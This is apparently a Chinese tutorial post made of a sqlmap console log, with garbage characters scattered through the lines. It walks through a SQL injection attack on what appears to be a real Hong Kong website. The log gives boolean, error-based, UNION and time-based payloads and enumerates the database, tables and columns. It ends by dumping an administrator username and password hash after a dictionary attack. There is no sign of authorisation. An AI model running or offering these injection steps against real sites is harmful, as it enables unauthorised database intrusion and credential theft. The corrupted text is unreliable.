sqlmap实例注入mysql

admin

D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
5 W( C0 {/ H0 X$ v$ Lms "Mysql" --current-user       /*  注解：获取当前用户名称
& ^  }9 Z- C5 B7 J, I, `( E$ `) D3 e    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

starting at: 16:53:54
[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
( q; |" C- b7 @2 G- \% k session file
& g* ?! Y) t4 s" z* Y: h[16:53:54] [INFO] resuming injection data from session file
% \3 g% k+ O( W" e" I[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[16:53:54] [INFO] testing connection to the target url
) ^/ p! G* o$ J& L# W  {sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
+ a1 V* V0 \* s7 m1 p% c: b+ p! y---
Place: GET
Parameter: id
& a, |  e, Q& e0 j  S    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
, l( i3 Q: @  u4 V1 p9 L    Payload: id=276 AND 799=799
3 T: H7 c; _  l) a" e- n8 Z# a    Type: error-based
. k1 b- A, m3 a' c    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
, X; a& U/ t1 ^  d% z1 h, q+ w    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
9 Q8 ~1 C! J+ q% ]( A3 k! K% g    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
$ f2 k) @, G, g    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
4 X: w1 z1 x- `6 M1 o1 g(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
% e- V5 s8 k+ @CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    Type: AND/OR time-based blind
3 ~' ~4 z) L# F4 t    Title: MySQL > 5.0.11 AND time-based blind
6 U1 V8 V- o0 E' U    Payload: id=276 AND SLEEP(5)
---
[16:53:55] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.0
% E1 P. u4 m% u3 \8 c: Mback-end DBMS: MySQL 5.0
- H2 J; P$ n9 W/ r[16:53:55] [INFO] fetching current user
4 \' ]; T# }6 T! Rcurrent user:    'root@localhost'   
, N. S) X0 p& n. d( p: z, f[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
, |$ E( g; C$ }% t, V+ E' |tput\www.wepost.com.hk'

shutting down at: 16:53:58

D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
  ^. V8 G+ I, ?ms "Mysql" --current-db                  /*当前数据库
) k* J' c; @# M  C% Q    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

starting at: 16:54:16
+ ^7 g! x# {$ \9 [' A6 x4 H- d[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
. Y# L) d: y% }) G0 q9 e; M# l4 V session file
[16:54:16] [INFO] resuming injection data from session file
" E5 Y' {* _* S  O  P[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
3 d# Y8 Y5 N7 y- f. m4 l[16:54:16] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
  }5 P8 o) [& Q5 _. O% A! I% ?: H! v0 z2 N# BPlace: GET
Parameter: id
    Type: boolean-based blind
6 o9 \  g$ `% z8 b" z! |) \0 V    Title: AND boolean-based blind - WHERE or HAVING clause
/ j& Y% r8 V6 ~" o    Payload: id=276 AND 799=799
    Type: error-based
5 S2 G& o, c$ V1 ]" B: N' t) K    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
" G5 L' C  a$ y1 f    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
2 L7 }; i+ O8 ]2 B7 I# y120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
6 R, E5 s+ W: z6 u    Type: UNION query
. {* ^7 k0 D4 {    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
. F7 _4 X0 V) z6 i) M* q. ^$ eCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
8 }! x) _, V6 I9 r* z/ ^    Type: AND/OR time-based blind
9 x' D8 d3 {: Q9 I+ A    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=276 AND SLEEP(5)
---
[16:54:17] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
: A/ W% l8 }  @# |' Y# h) dweb application technology: Apache 2.2.11, PHP 5.3.0
back-end DBMS: MySQL 5.0
/ K$ n& q. B+ m6 X  H3 ?[16:54:17] [INFO] fetching current database
( p$ A5 N* r9 q3 @current database:    'wepost'
[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
) g# ~. ^: U9 v  U! m9 ~# }' |tput\www.wepost.com.hk'

shutting down at: 16:54:18
5 M0 V. s5 A. q* T" _6 lD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
ms "Mysql" --tables  -D "wepost"         /*获取当前数据库的表名
    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

starting at: 16:55:25
[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
session file
[16:55:25] [INFO] resuming injection data from session file
[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
1 \. m' f5 i! X& z# s9 I, q[16:55:25] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
* \: D) @* K8 y2 J+ I7 s% dsts:
---
+ h0 s/ |+ f- c' R- C0 o% s' x: M9 TPlace: GET
Parameter: id
    Type: boolean-based blind
" c2 ^( k* i& w- m    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=276 AND 799=799
# F' ^) l! j1 h; y4 r( `    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
* {, V0 S: x8 q/ x120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
  O$ j6 \( `! p, i2 f7 p, ^),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
& E/ D# U, }- ~7 D! {6 _    Type: UNION query
( \5 V! ?6 p+ x    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
3 w% R; H! g- h4 K( g3 v(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
* K" o. \+ ]) s; v1 O$ u' }2 RCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
2 W- r( ^% K7 P! m& c+ _    Payload: id=276 AND SLEEP(5)
---
[16:55:26] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
! d; G6 g1 d: O2 sweb application technology: Apache 2.2.11, PHP 5.3.0
$ w$ Q+ X. @+ X6 S. Dback-end DBMS: MySQL 5.0
[16:55:26] [INFO] fetching tables for database 'wepost'
[16:55:27] [INFO] the SQL query used returns 6 entries
Database: wepost
: r9 }' y8 M1 g3 e7 P5 t0 ]* n[6 tables]
+-------------+
  w" I. X  W" F| admin       |
6 `) E8 N+ d# g+ g  s. G| article     |
, |3 b6 Y$ C8 M' P/ O| contributor |
1 V, O# D/ K+ R. q8 v| idea        |
! |* _+ q; r* ~| image       |
$ d* T* Y* L! f+ y, Z; c, R| issue       |
+-------------+
[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
& S& b) H# s" [7 N, k  \4 ^tput\www.wepost.com.hk'

shutting down at: 16:55:33
! `# v/ X- A7 Y* t! }
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
& k6 @8 `# O3 c4 k/ b4 ems "Mysql" --columns -T "admin" users-D "wepost" -v 0     /*获取admin表的字段名
    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

starting at: 16:56:06
0 d) Z6 c5 _) \% s: i' l; c; qsqlmap identified the following injection points with a total of 0 HTTP(s) reque
: u5 ]1 z( g8 J' k" U& [3 Ysts:
7 W4 v# A! \, u" [---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=276 AND 799=799
$ T% d# t, d$ ]: ^3 V    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
' r1 S8 d2 O) U) q5 I" C),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
8 ^- v6 h3 d4 x0 B  N1 R4 o% B2 D    Type: UNION query
- O0 ?' q3 R* H, N5 |3 v    Title: MySQL UNION query (NULL) - 1 to 10 columns
' z0 t6 ^$ D- Y0 `# A    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
# _: O8 @4 @2 S, C% ]' p& ]CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
; Q1 n2 o' g5 f, |  b8 E    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=276 AND SLEEP(5)
7 v" V+ L) Q. h( ]---
web server operating system: Windows
' F6 R7 r* G0 }5 d& ^9 Sweb application technology: Apache 2.2.11, PHP 5.3.0
back-end DBMS: MySQL 5.0
[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se
ssion': wepost, wepost
( O; a- S2 @! r' G7 n5 d* V2 vDatabase: wepost
) X. ~. D, ?9 S2 OTable: admin
! k0 d$ O$ I; z# ]4 b3 l; x[4 columns]
" n- J6 |5 u. I6 x7 P5 x+----------+-------------+
& z) R: T( e) x- k. N6 H| Column   | Type        |
  d6 y% D6 f% E7 p+----------+-------------+
+ D( y- s/ ]* P! |. W/ x| id       | int(11)     |
| password | varchar(32) |
| type     | varchar(10) |
| userid   | varchar(20) |
+----------+-------------+

shutting down at: 16:56:19

1 D; w/ q; h5 x# }0 qD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
) y5 P: w9 e8 V) q9 t) \ms "Mysql"  --dump  -C "userid,password"  -T "admin" -D "wepost" -v 0      /*获取字段里面的内容
( e5 m+ S. ]4 C0 @9 E1 m- F7 \    sqlmap/0.9 - automatic SQL injection and database takeover tool
$ S: d6 f  j: H, E3 k    http://sqlmap.sourceforge.net

starting at: 16:57:14
1 S5 k/ \4 B! E" V. g5 U/ Gsqlmap identified the following injection points with a total of 0 HTTP(s) reque
- f' A8 {/ S/ v6 ^+ o9 wsts:
---
/ x! W4 @% O9 s) X5 Y/ PPlace: GET
* Y$ ]6 }6 i. v% i) q4 lParameter: id
, b8 B0 r* ^- o9 I: h, ~2 p0 h    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
/ h: @  v) @3 j: Y: E1 d$ p- `    Payload: id=276 AND 799=799
0 O, C9 |* a/ i. `    Type: error-based
# u. s2 I! ]1 Y( L    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
8 C" y" E: b$ f  |1 l3 C2 {    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
. e7 U4 w- d1 d8 L0 ]/ ^5 `120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
/ b; B& ?3 |( r, q),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
! M, m7 r( W7 j$ q6 @* ^    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
9 Y4 L) R$ ?; B+ I6 ?+ i" D! fCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=276 AND SLEEP(5)
---
2 F8 C( u9 o8 S0 y1 {3 P3 Tweb server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.0
back-end DBMS: MySQL 5.0
recognized possible password hash values. do you want to use dictionary attack o
/ L: Q7 V' i# b6 t' t4 D! k% in retrieved table items? [Y/n/q] y
9 E6 O" q4 v" ?) `' iwhat's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]
1 I6 `6 M. x7 H  |% Ido you want to use common password suffixes? (slow!) [y/N] y
Database: wepost
Table: admin
: C* m: j- c' N4 n  r5 O+ D[1 entry]
8 D* F/ k* l9 E2 {+----------------------------------+------------+
| password                         | userid     |
+----------------------------------+------------+
| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
+----------------------------------+------------+

shutting down at: 16:58:14

+ O( q( Y' k# o  x: J; e( xD:\Python27\sqlmap>